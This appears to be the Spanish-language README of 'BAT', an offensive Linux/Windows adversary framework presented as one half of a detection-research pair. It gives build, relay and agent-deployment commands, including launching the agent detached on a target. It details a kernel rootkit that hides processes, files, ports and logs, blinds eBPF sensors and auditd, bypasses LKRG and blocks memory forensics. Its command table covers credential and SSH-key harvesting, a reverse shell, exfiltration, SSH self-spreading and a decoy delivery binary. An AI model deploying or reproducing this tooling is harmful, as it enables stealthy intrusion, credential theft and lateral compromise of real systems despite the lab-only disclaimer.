
BAT es un modelo de amenaza de adversario realista y en evolución para Linux y Windows. No es un framework C2 ni un rootkit. Es una plataforma completa de simulación de amenazas que integra comunicación C2, módulos rootkit sigilosos a nivel de kernel, evasión en espacio de usuario, escalada de privilegios, persistencia, inyección de procesos, recolección de credenciales, exfiltración y movimiento lateral en un único adversario cohesivo. El objetivo de diseño es ser la amenaza Linux más sofisticada y realista alcanzable en 2026, independientemente de lo que cualquier sistema de detección capture actualmente.
Es el lado adversario de un par de investigación. El framework Aura evoluciona para detectar a Bat. Bat evoluciona para evadir a Aura. El adversario nunca está limitado por el detector.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. Configurar```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
Genera un secreto: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
Binarios terminan en `bin/`.
### 4. Inicializar el relay```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
Desplegar un agente en el objetivo:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
El agente aparece en bat-server como <agentID>@<hostname> dentro de un intervalo de baliza (30s por defecto).
La capa de sigilo del kernel (bat-stealth.ko, código fuente en kperf-qos/) está construida directamente sobre Singularity, un framework avanzado de investigación de rootkits para el kernel. Se portaron y adaptaron cuatro módulos principales:
bpf_hook: Intercepta bpf(2) y todas las primitivas de comunicación eBPF. Cualquier sensor eBPF recibe cero telemetría para los PID ocultos. Adaptado: ARCH_SYS("bpf") reemplaza el __x64_sys_bpf exclusivo de x86; __ia32_sys_bpf eliminado para ARM64; HIDDEN_PORT reemplazado por un global configurable vía sysfs.
hiding_fs: Borrado completo del sistema de archivos: filtrado de getdents64/getdents, ajuste de nlink en stat/statx/newfstatat, bloqueo de openat/access/faccessat sobre /proc/<pid>, bloqueo de chdir y readlink. Fusionado de cinco módulos de Singularity (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). Adaptado: las macros reemplazan el acceso directo a registros; ampliado para configurable en tiempo de ejecución.
hide_module: Elimina bat-stealth.ko de todas las listas de módulos del kernel. Ampliado: Singularity ya guarda list.prev; esta versión guarda tanto list.prev como list.next y envenena ambos para bloquear el recorrido en cualquier dirección. Se añadió module_unhide() para la eliminación reversible, requerida por K-99 antes de que delete_module(2) pueda localizar el módulo por nombre.
lkrg_bypass: Suprime la aplicación de LKRG para procesos ocultos: engancha el envío de señales para bloquear SIGKILL a tareas ocultas, engancha vprintk_emit para descartar mensajes de registro de LKRG, desactiva la validación UMH durante la ejecución del agente. Portado directamente sin cambios arquitectónicos.
Los siguientes módulos se desarrollaron de forma independiente:
become_root: hook de la señal 59 que llama a commit_creds(prepare_kernel_cred(NULL)) para otorgar uid=0 (K-03)selfdefense: bloquea la adquisición de memoria con LiME, oculta entradas de kallsyms, bloquea kprobes en símbolos del agente, vuelve a ocultar el módulo ante cualquier intento de enumeraciónaudit: suprime eventos de auditd para PID ocultossysrq_hook: intercepta SysRq-T para excluir procesos ocultos de los volcados de tareastaskstats_hook: filtra respuestas NETLINK taskstats para PID ocultosreset_tainted + clear_taint_dmesg: pone a cero /proc/sys/kernel/tainted y filtra líneas de dmesg que contienen evidencia de carga del módulohooks_write: intercepta todas las rutas de escritura del kernel (write/splice/sendfile/tee + io_uring_enter/enter2 + compat ia32) para eliminar entradas de registro que coincidan con cadenas del agente antes de que lleguen a syslog o journaldpid_manager: tracepoint de fork para mantener el conjunto de PID ocultos en los procesos hijosToda la pila hace que el agente y todos sus artefactos sean invisibles para: ps, top, ss, netstat, lsof, el recorrido del sistema de archivos en rutas ocultas, lsmod, sysfs, kallsyms, auditd, todos los sensores eBPF, LKRG, LiME y el análisis forense con SysRq.
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| Componente | Función |
|---|---|
| `bat-agent` | Agente. Emite beacons, ejecuta TTPs. Ofuscado con Garble. |
| `bat-server` | Consola del operador. CLI interactiva. Gestiona todos los agentes. |
| `netshell` | Binario de entrega. Parece una herramienta del sistema; es un agente completo. |
| `bat-rootkit.so` | Rootkit de espacio de usuario LD_PRELOAD. Oculta archivos, PIDs, puertos y variables de entorno. |
| `bat-stealth.ko` | Capa sigilosa del kernel (basada en Singularity). |
| `kcc-server` | Servicio de retransmisión. Compila `bat-stealth.ko` bajo demanda para el kernel en ejecución del objetivo. |
| `relay/` | Infraestructura de retransmisión: nginx, TLS, setup, sync y scripts de entrega. |
---
## Defensas Evadidas
| Categoría | Defensa | Mecanismo de evasión |
|---|---|---|
| Monitorización de procesos | `ps` / `top` / listado de `/proc` | `hiding_procs.c`: el hook `getdents64` elimina las entradas de PID del agente de procfs antes de que el espacio de usuario las lea |
| Monitorización de procesos | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: el hook `filldir` filtra prefijos de PID de todos los resultados de readdir |
| Sistema de archivos | `ls` / `find` sobre archivos y directorios del agente | `hiding_fs.c`: hooks `getdents64`/`getdents` en rutas objetivo; nlink de stat ajustado para coincidir |
| Sistema de archivos | detección con `lsattr` / `chattr` | `hiding_fs.c`: interceptación de `ioctl` en rutas de archivos del agente |
| Sistema de archivos | listado de `/proc/modules` / `lsmod` | `hiding_module.c`: elimina la entrada `bat-stealth.ko` de todas las listas de módulos de sysfs y procfs |
| Red | listados de puertos con `ss` / `netstat` | `hiding_net.c`: los hooks `tcp4_seq_show`/`tcp6_seq_show` eliminan las entradas de puerto C2 de la salida |
| Red | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: la interceptación de lectura de seq_file descarta las filas de sockets C2 |
| Registros | ruta de escritura de `syslog` / `journald` | `hooks_write.c`: interceptación de `write`/`splice`/`sendfile`/`tee`; las entradas de registro que coinciden con cadenas del agente se descartan en el kernel |
| Registros | ruta de escritura asíncrona `io_uring` | `hooks_write.c`: `io_uring_enter`/`io_uring_enter2` interceptados; se cubre la ruta de compatibilidad ia32 |
| Seguridad del kernel | `rkhunter` / `chkrootkit` | Módulo oculto de `/proc/modules`; archivos del agente ocultos del sistema de archivos; cero avisos verificado |
| Seguridad del kernel | ClamAV | Ofuscación Garble `-literals -tiny` + sin cadenas en texto claro incrustadas; 0 detecciones verificadas (DB 2026-04-20) |
| EDR / eBPF | Sensores basados en eBPF que leen `/proc` | Los hooks de ocultación interceptan a nivel de kernel antes de que se produzcan eventos del ring buffer de eBPF |
| Introspección del kernel | `ftrace` / `kprobes` sobre símbolos del agente | el módulo `selfdefense` bloquea la fijación de kprobes en direcciones de funciones del agente |
| Forensia del kernel | Adquisición de memoria LiME | `selfdefense` bloquea la carga del módulo LiME y el acceso al dispositivo de memoria cruda |
| Forensia del kernel | Volcado de tareas SysRq-T | `sysrq_hook` excluye los procesos ocultos de la lista de tareas escrita por SysRq-T |
| Forensia del kernel | taskstats NETLINK | `taskstats_hook` filtra las respuestas NETLINK de taskstats para PIDs ocultos |
| Integridad del kernel | Aplicación de LKRG | `lkrg_bypass` suprime la entrega de `SIGKILL` de LKRG y descarta los mensajes de registro de LKRG |
| Subsistema de auditoría | Registro de syscalls con `auditd` | el módulo `audit` suprime los eventos de auditoría de todos los PIDs ocultos en la capa de auditoría del kernel |
---
## Hooks de syscalls
Todos los hooks son instalados por `bat-stealth.ko` mediante ftrace en tiempo de carga. Las entradas ia32 se compilan solo en x86_64 (`#ifdef ARCH_SYS_IA32`).
| Syscall / Función | Módulo | Propósito |
|---|---|---|
| `getdents64` | `hiding_procs.c` | Oculta los PIDs del agente de los listados del directorio `/proc` |
| `getdents` | `hiding_procs.c` | Compatibilidad de 32 bits: oculta PIDs del agente |
| `filldir` (readdir) | `hiding_procs.c` | Filtro suplementario de entradas de proc para llamadores readdir heredados |
| `getdents64` | `hiding_fs.c` | Oculta archivos del agente de los listados de directorios |
| `getdents` | `hiding_fs.c` | Compatibilidad de 32 bits: oculta archivos del agente |
| `ia32_getdents64` | `hiding_fs.c` | Syscall de compatibilidad x86 |
| `ia32_getdents` | `hiding_fs.c` | Syscall de compatibilidad x86 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | Interceptaciones de stat de 32 bits para rutas ocultas |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | Interceptaciones de open/access de 32 bits |
| `ia32_readlink` | `hiding_fs.c` | Interceptación de readlink de 32 bits |
| `ia32_chdir` | `hiding_fs.c` | Interceptación de chdir de 32 bits |
| `ioctl` | `hiding_fs.c` | Intercepta ioctl de `lsattr`/`chattr` en rutas del agente |
| `tcp4_seq_show` | `hiding_net.c` | Oculta entradas de puerto C2 de `/proc/net/tcp` |
| `tcp6_seq_show` | `hiding_net.c` | Oculta entradas de puerto C2 de `/proc/net/tcp6` |
| `bpf` | `bpf_hook.c` | Cero telemetría para PIDs ocultos en todos los programas eBPF |
| `write` | `hooks_write.c` | Descarta entradas de registro que contengan cadenas del agente antes de llegar a syslog |
| `splice` | `hooks_write.c` | La misma interceptación a través de la ruta splice |
| `sendfile` | `hooks_write.c` | La misma interceptación a través de la ruta sendfile |
| `tee` | `hooks_write.c` | La misma interceptación a través de la ruta tee |
| `io_uring_enter` | `hooks_write.c` | Interceptación de escritura asíncrona io_uring |
| `io_uring_enter2` | `hooks_write.c` | Interceptación de escritura asíncrona io_uring (syscall v2) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | Hereda el estado oculto a través de `fork`/`clone` |
| `vprintk_emit` | `lkrg_bypass.c` | Descarta mensajes de registro del kernel de LKRG |
| `finit_module` / `init_module` | agente (cargador kcc) | Carga de módulo del kernel sin archivo mediante `memfd_create` + fd anónimo |
---
## Referencia de TTP
| TTP | Nombre | Descripción |
|---|---|---|
| 1 | masquerade | Renombra el comm del proceso a `kworker/0:1` (o personalizado) |
| 2 | reverse_shell | Shell inversa TCP hacia relay:4445 |
| 3 | memory_rwx | Asigna memoria RWX anónima (sonda de detección) |
| 4 | shell_exec | Ejecuta un comando de shell arbitrario |
| 5 | beacon | Fuerza un check-in adicional inmediato |
| 6 | persist | Instala persistencia (cron / systemd / rc.local / openrc / profile / autostart XDG) |
| 7 | creddump | Recolecta `/etc/shadow`, historial de bash, secretos de entorno, IMDS de AWS |
| 9 | exec_chain | Lanza una cadena de procesos (sonda de detección) |
| 10 | install_rootkit | Despliega `bat-rootkit.so` mediante `/etc/ld.so.preload` |
| 11 | inject + exit | Inyecta hilos beacon + rawsock en un proceso en ejecución y luego sale solo |
| 20 | network_recon | Tabla ARP + escaneo TCP :22 de la subred local |
| 21 | ssh_harvest | Recolecta claves privadas, known_hosts, authorized_keys y configuraciones |
| 22 | lateral_move | Se copia por SCP al host descubierto mediante SSH y se ejecuta en segundo plano |
| 23 | creddump_full | Recolección extendida de credenciales + huella de entorno |
| 30 | exfil-file | Lee un archivo arbitrario y transmite fragmentos base64 por el canal beacon |
| 31 | exfil-dir | Comprime en tar+gzip un directorio y lo exfiltra por el canal beacon |
| 32 | exfil-auto | Vigila rutas configuradas y auto-exfiltra ante cambios |
| 34 | netmap | Escanea CIDR /16 en busca de hosts activos y puertos abiertos |
| 35 | autospread | Movimiento lateral por SSH hacia hosts descubiertos usando claves recolectadas; copia el agente y lo ejecuta en segundo plano |
| 36 | smbprobe | Sonda de puerto SMB (:445) para candidatos a movimiento lateral |
| 99 | kill | Auto-terminación silenciosa |
| 222 | destruct | Elimina todos los artefactos, borra la memoria y sale |
| 1003 | K-03 (privesc) | La señal del kernel 59 desencadena `commit_creds` hacia uid=0 |
| 1099 | K-99 (unload) | Descarga en dos fases de `bat-stealth.ko` mediante sysfs + `delete_module(2)` directo |
Comandos de consola (en el prompt de `bat-server`):
- `kill`: TTP 99 a todos los agentes
- `destruct`: TTP 222 a todos los agentes
- `destruct @<agentID>`: borrado dirigido
---
### KCC: caché de compilación del kernel
`bat-stealth.ko` se compila bajo demanda para el kernel en ejecución del objetivo. El agente automatiza todo el flujo en tiempo de ejecución; no se requiere un módulo precompilado por objetivo:
1. **Detectar kernel**: el agente lee `/proc/version` para obtener la cadena exacta de `uname -r`.
2. **Solicitar compilación**: el agente envía por POST la cadena del kernel a `kcc-server` (`:9444`) con una solicitud firmada por HMAC.
3. **kcc-server compila**: el servidor construye `bat-stealth.ko` contra las cabeceras de kernel correspondientes y almacena en caché el resultado por hash del kernel.
4. **Recibir bytes del módulo**: el `.ko` compilado se devuelve en el cuerpo de la respuesta.
5. **Carga sin archivo**: el agente crea un archivo de memoria anónimo (`memfd_create`, syscall 279 en x86_64 / 319 en ARM64), escribe los bytes del módulo y luego llama a `finit_module` (syscall 273 / 313) con una cadena de parámetros vacía.
6. **Registro**: el módulo registra todos los hooks y se oculta de sysfs/procfs en milisegundos.
No se escribe ningún archivo `.ko` en disco en ningún momento. El módulo desaparece de `/proc/modules` inmediatamente después de cargarse.
**Kernel mínimo:** 6.x (sonda K-00; el agente omite la carga sigilosa en kernels más antiguos).
**Probado:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP).
---
## Perfiles de compilación```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
Todos los perfiles requieren SECRET=. Sobrescribe la IP del relay con RELAY=<ip>.
SHA-256(secret); las repeticiones se rechazan del lado del servidor.-literals de garble en tiempo de compilación. -X ldflags se evita deliberadamente (los valores de ldflag aparecen en texto plano en los binarios).bat-server.relay/static/ es la cara pública del relay. La versión incluye un marcador de posición vacío. Reemplaza index.html y las páginas de soporte con tu identidad de portada antes de ejecutar sync.sh. Los scripts de entrega (static/i, static/api/setup, static/api/v1/index.json) usan __CDN_DOMAIN__ como marcador de posición; define CDN_DOMAIN= en build.env y sync.sh lo sustituye automáticamente. Actualiza relay/nginx/bat.conf con el dominio real en server_name y las rutas de los certificados TLS antes del primer despliegue de nginx.
El perfil CDN enruta el tráfico de los agentes a través de una capa de proxy perimetral. El agente se conecta al dominio CDN por HTTPS; el proxy reenvía el tráfico al listener local del relay a través del túnel inverso SSH. Desde una perspectiva de red, todo el tráfico de los agentes se origina en los rangos de IP perimetrales del CDN, no en el VPS del relay.
---
Cuando un objetivo descarga el binario del agente desde el endpoint CDN, se envía una alerta de entrega al instante a un canal de Telegram configurado. La notificación incluye: IP de origen, marca de tiempo, ruta de la solicitud, arquitectura detectada (x86_64/arm64), tamaño del archivo, cadena User-Agent e identificador del edge CDN.
El daemon delivery-alert.service hace tail del registro de acceso de nginx y se dispara ante cualquier acceso a la ruta de descarga señuelo. Configúralo durante el arranque del relay:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
Las credenciales se escriben en `/etc/bat/tg.env` en el relay y se propagan a todos los objetivos de sincronización mediante `sync.sh --tg`. El servicio se inicia automáticamente y sobrevive a los reinicios del relay.
---
## Descargo de responsabilidad
Este software se desarrolla exclusivamente para investigación de seguridad autorizada, simulación de adversarios en entornos de laboratorio controlados y el desarrollo de capacidades de detección y respuesta. Contiene implementaciones funcionales de técnicas ofensivas, incluidos rootkits a nivel de kernel, inyección de procesos, recolección de credenciales y movimiento lateral. El despliegue en cualquier sistema sin autorización escrita explícita del propietario del sistema es ilegal según las leyes aplicables de fraude y abuso informático en la mayoría de las jurisdicciones.
Los autores no aceptan ninguna responsabilidad por daños, consecuencias legales o perjuicios resultantes del uso no autorizado, negligente o malintencionado de este software. Al utilizar este software, usted afirma que es un profesional de seguridad cualificado que opera dentro de un alcance legal y autorizado, y que la responsabilidad legal y ética total por su uso recae únicamente en usted.
Este software no debe redistribuirse, publicarse ni divulgarse a terceros sin el consentimiento previo por escrito.
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ID ATT&CK | Técnica | Implementación en Bat |
|---|
| T1036.005 | Suplantación: Coincidir con nombre legítimo | TTP 1: prctl(PR_SET_NAME) a kworker/0:1 |
| T1055 | Inyección de procesos | TTP 11: shellcode + hilo rawsock inyectado en un proceso vivo |
| T1205.001 | Señalización de tráfico (paquete mágico) | El desencadenante UDP/ICMP despierta al agente de la latencia |
| T1071.001 | C2 mediante protocolos web | Balizas HTTPS por :443 o :9443 |
| T1573.001 | Canal cifrado: Simétrico | Balizas autenticadas con HMAC-SHA256 sobre TLS |
| T1090.004 | Proxy: Domain Fronting | El perfil CDN enruta el tráfico del agente a través de una capa de proxy perimetral |
| T1574.006 | Secuestro de ejecución: LD_PRELOAD | TTP 10: bat-rootkit.so vía /etc/ld.so.preload |
| T1014 | Rootkit | bat-stealth.ko: oculta PIDs, puertos, archivos, módulo y a sí mismo |
| T1562.001 | Degradar defensas: Deshabilitar herramientas | bpf_hook ciega sensores eBPF; lkrg_bypass desactiva LKRG |
| T1562.012 | Degradar defensas: Deshabilitar auditoría de Linux | El módulo audit suprime eventos de auditd para PID ocultos |
| T1068 | Escalada de privilegios mediante explotación | K-03: la señal 59 dispara commit_creds a uid=0 |
| T1543.002 | Crear/modificar proceso del sistema: Systemd | TTP 6: persistencia mediante unidad systemd |
| T1053.003 | Tarea programada: Cron | TTP 6: persistencia con crontab |
| T1070.002 | Limpiar registros de Linux | clear_taint_dmesg filtra dmesg; reset_tainted pone a cero el flag de tainted; hooks_write elimina entradas de registro en el kernel |
| T1070.004 | Eliminación de indicadores: Borrado de archivos | TTP 222 destruct: borrado completo de artefactos |
| T1003 | Volcado de credenciales | TTP 7/23: /etc/shadow, historial de shell, secretos de entorno |
| T1552.004 | Credenciales no protegidas: Claves privadas | TTP 21: claves SSH, known_hosts, configuraciones |
| T1552.005 | Metadatos de instancia en la nube | TTP 23: recolección de credenciales AWS IMDS |
| T1018 | Descubrimiento de sistemas remotos | TTP 20/34: enumeración ARP + escaneo CIDR /16 |
| T1046 | Escaneo de servicios de red | TTP 20/34: escaneo de puertos TCP de los hosts descubiertos |
| T1021.004 | Movimiento lateral mediante SSH | TTP 22/35: copia SCP a un host descubierto, ejecución separada |
| T1078 | Cuentas válidas | TTP 22/35: el movimiento lateral usa claves SSH recolectadas |
| T1048 | Exfiltración mediante protocolo alternativo | TTP 30/31/32: exfiltración de archivos y directorios por el canal de baliza |
| T1059.004 | Ejecución de shell Unix | TTP 4: ejecución arbitraria de comandos |
| T1027 | Archivos o información ofuscados | garble -literals -tiny -seed=random; codificación de configuración XOR(0x5A) |
| T1620 | Carga de código reflectante | TTP 11: shellcode ejecutado en el espacio de direcciones del proceso objetivo; bat-stealth.ko cargado vía memfd_create |